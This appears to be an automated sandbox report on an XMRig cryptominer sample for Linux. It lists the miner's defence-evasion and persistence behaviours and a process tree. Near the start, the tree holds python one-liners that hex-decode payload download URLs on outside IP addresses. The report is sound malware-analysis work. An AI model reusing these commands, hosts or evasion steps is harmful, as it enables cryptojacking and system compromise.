Analysis
- max time kernel
150s - max time network
144s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
- submitted
22/10/2026, 14:06
General
- Target afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
- Size 68KB
- Sample261022-repdfacz4w
- SHA256 afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
- Executes dropped EXE 4 IoCs
- Flushes firewall rules 1 TTPs 64 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
- Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs
Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 16 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Deletes log files 1 TTPs 2 IoCs
Deletes log files on the system.
- Disables SELinux 1 TTPs 17 IoCs
Disables SELinux security module.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 29 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Reads network interface configuration 2 TTPs 12 IoCs
Fetches information about one or more active network interfaces.
- Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
- Write file to user bin folder 8 IoCs
- Writes file to system bin folder 26 IoCs
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 35 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d51⤵
- Modifies the /etc/hosts DNS resolution file
- Deletes log files
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3233342f6173736574732f696d672f75706c6f6164732f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3232362f6d35317372632f7075626c69632f63616368652f73746f7265732f72656469732f6c616e672⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3138352e3131392e39302e3230362f776562636861742f696d616765732f66696c6574797065732⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/readlinkreadlink /proc/1010/exe2⤵
-
-
/bin/readlinkreadlink /proc/1014/exe2⤵
-
-
/bin/readlinkreadlink /proc/1019/exe2⤵
-
-
/bin/readlinkreadlink /proc/1023/exe2⤵
-
-
/bin/readlinkreadlink /proc/1027/exe2⤵
-
-
/bin/readlinkreadlink /proc/1031/exe2⤵
-
-
/bin/readlinkreadlink /proc/1035/exe2⤵
-
-
/bin/readlinkreadlink /proc/1040/exe2⤵
-
-
/bin/readlinkreadlink /proc/1044/exe2⤵
-
-
/bin/readlinkreadlink /proc/1045/exe2⤵
-
-
/bin/readlinkreadlink /proc/1049/exe2⤵
-
-
/bin/readlinkreadlink /proc/1052/exe2⤵
-
-
/bin/readlinkreadlink /proc/1054/exe2⤵
-
-
/bin/readlinkreadlink /proc/1061/exe2⤵
-
-
/bin/readlinkreadlink /proc/1063/exe2⤵
-
-
/bin/readlinkreadlink /proc/1067/exe2⤵
-
-
/bin/readlinkreadlink /proc/1068/exe2⤵
-
-
/bin/readlinkreadlink /proc/1076/exe2⤵
-
-
/bin/readlinkreadlink /proc/1081/exe2⤵
-
-
/bin/readlinkreadlink /proc/1085/exe2⤵
-
-
/bin/readlinkreadlink /proc/1087/exe2⤵
-
-
/bin/readlinkreadlink /proc/1089/exe2⤵
-
-
/bin/readlinkreadlink /proc/1090/exe2⤵
-
-
/bin/readlinkreadlink /proc/1093/exe2⤵
-
-
/bin/readlinkreadlink /proc/1095/exe2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/readlinkreadlink /proc/1136/exe2⤵
-
-
/bin/readlinkreadlink /proc/1147/exe2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/readlinkreadlink /proc/1157/exe2⤵
-
-
/bin/readlinkreadlink /proc/1158/exe2⤵
-
-
/bin/readlinkreadlink /proc/1175/exe2⤵
-
-
/bin/readlinkreadlink /proc/1191/exe2⤵
-
-
/bin/readlinkreadlink /proc/1193/exe2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/readlinkreadlink /proc/1243/exe2⤵
-
-
/bin/readlinkreadlink /proc/1250/exe2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/readlinkreadlink /proc/1301/exe2⤵
-
-
/bin/readlinkreadlink /proc/1305/exe2⤵
-
-
/bin/readlinkreadlink /proc/1311/exe2⤵
-
-
/bin/readlinkreadlink /proc/1324/exe2⤵
-
-
/bin/readlinkreadlink /proc/1330/exe2⤵
-
-
/bin/readlinkreadlink /proc/1347/exe2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/readlinkreadlink /proc/1378/exe2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/readlinkreadlink /proc/1493/exe2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/readlinkreadlink /proc/1518/exe2⤵
-
-
/bin/readlinkreadlink /proc/1521/exe2⤵
-
-
/bin/readlinkreadlink /proc/1522/exe2⤵
-
-
/bin/readlinkreadlink /proc/1523/exe2⤵
-
-
/bin/readlinkreadlink /proc/1527/exe2⤵
-
-
/bin/readlinkreadlink /proc/1532/exe2⤵
-
-
/bin/readlinkreadlink /proc/156/exe2⤵
-
-
/bin/readlinkreadlink /proc/157/exe2⤵
-
-
/bin/readlinkreadlink /proc/158/exe2⤵
-
-
/bin/readlinkreadlink /proc/159/exe2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/readlinkreadlink /proc/160/exe2⤵
-
-
/bin/readlinkreadlink /proc/161/exe2⤵
-
-
/bin/readlinkreadlink /proc/162/exe2⤵
-
-
/bin/readlinkreadlink /proc/163/exe2⤵
-
-
/bin/readlinkreadlink /proc/164/exe2⤵
-
-
/bin/readlinkreadlink /proc/165/exe2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/readlinkreadlink /proc/173/exe2⤵
-
-
/bin/readlinkreadlink /proc/175/exe2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/readlinkreadlink /proc/200/exe2⤵
-
-
/bin/readlinkreadlink /proc/201/exe2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/readlinkreadlink /proc/252/exe2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/readlinkreadlink /proc/267/exe2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/readlinkreadlink /proc/354/exe2⤵
-
-
/bin/readlinkreadlink /proc/356/exe2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/readlinkreadlink /proc/441/exe2⤵
-
-
/bin/readlinkreadlink /proc/442/exe2⤵
-
-
/bin/readlinkreadlink /proc/464/exe2⤵
-
-
/bin/readlinkreadlink /proc/469/exe2⤵
-
-
/bin/readlinkreadlink /proc/470/exe2⤵
-
-
/bin/readlinkreadlink /proc/473/exe2⤵
-
-
/bin/readlinkreadlink /proc/474/exe2⤵
-
-
/bin/readlinkreadlink /proc/475/exe2⤵
-
-
/bin/readlinkreadlink /proc/476/exe2⤵
-
-
/bin/readlinkreadlink /proc/477/exe2⤵
-
-
/bin/readlinkreadlink /proc/478/exe2⤵
-
-
/bin/readlinkreadlink /proc/485/exe2⤵
-
-
/bin/readlinkreadlink /proc/490/exe2⤵
-
-
/bin/readlinkreadlink /proc/491/exe2⤵
-
-
/bin/readlinkreadlink /proc/494/exe2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/readlinkreadlink /proc/520/exe2⤵
-
-
/bin/readlinkreadlink /proc/521/exe2⤵
-
-
/bin/readlinkreadlink /proc/542/exe2⤵
-
-
/bin/readlinkreadlink /proc/555/exe2⤵
-
-
/bin/readlinkreadlink /proc/561/exe2⤵
-
-
/bin/readlinkreadlink /proc/575/exe2⤵
-
-
/bin/readlinkreadlink /proc/598/exe2⤵
-
-
/bin/readlinkreadlink /proc/599/exe2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/readlinkreadlink /proc/645/exe2⤵
-
-
/bin/readlinkreadlink /proc/646/exe2⤵
-
-
/bin/readlinkreadlink /proc/648/exe2⤵
-
-
/bin/readlinkreadlink /proc/654/exe2⤵
-
-
/bin/readlinkreadlink /proc/666/exe2⤵
-
-
/bin/readlinkreadlink /proc/668/exe2⤵
-
-
/bin/readlinkreadlink /proc/695/exe2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/readlinkreadlink /proc/704/exe2⤵
-
-
/bin/readlinkreadlink /proc/714/exe2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/readlinkreadlink /proc/86/exe2⤵
-
-
/bin/readlinkreadlink /proc/862/exe2⤵
-
-
/bin/readlinkreadlink /proc/89/exe2⤵
-
-
/bin/readlinkreadlink /proc/899/exe2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/bin/readlinkreadlink /proc/904/exe2⤵
-
-
/bin/readlinkreadlink /proc/907/exe2⤵
-
-
/bin/readlinkreadlink /proc/921/exe2⤵
-
-
/bin/readlinkreadlink /proc/926/exe2⤵
-
-
/bin/readlinkreadlink /proc/940/exe2⤵
-
-
/bin/readlinkreadlink /proc/946/exe2⤵
-
-
/bin/readlinkreadlink /proc/959/exe2⤵
-
-
/bin/readlinkreadlink /proc/963/exe2⤵
-
-
/bin/readlinkreadlink /proc/966/exe2⤵
-
-
/bin/readlinkreadlink /proc/967/exe2⤵
-
-
/bin/readlinkreadlink /proc/972/exe2⤵
-
-
/bin/readlinkreadlink /proc/98/exe2⤵
-
-
/bin/readlinkreadlink /proc/982/exe2⤵
-
-
/bin/readlinkreadlink /proc/986/exe2⤵
-
-
/bin/readlinkreadlink /proc/995/exe2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/10/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1010/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1014/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1019/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1023/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1027/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1031/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1035/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1040/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1044/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1045/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1049/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1052/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1054/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1061/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1063/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1067/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1068/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1076/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1081/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1085/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1087/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1089/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1090/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1093/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1095/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/11/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1136/status2⤵
-
-
/bin/readlinkreadlink /proc/1136/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1147/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/115/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1157/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1158/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1175/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1191/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1193/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/12/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1243/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1250/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/13/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1301/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1305/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1311/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1324/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1330/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1347/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/137/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1378/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/14/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1493/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/15/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1518/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1521/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1522/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1523/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1527/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1532/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/156/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/157/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/158/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/159/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/16/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/160/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/161/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/162/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/163/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/164/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/165/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/166/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/167/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/168/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/169/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/17/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/170/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/171/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/172/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/173/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/175/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/18/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/19/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/2/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/20/status2⤵
-
-
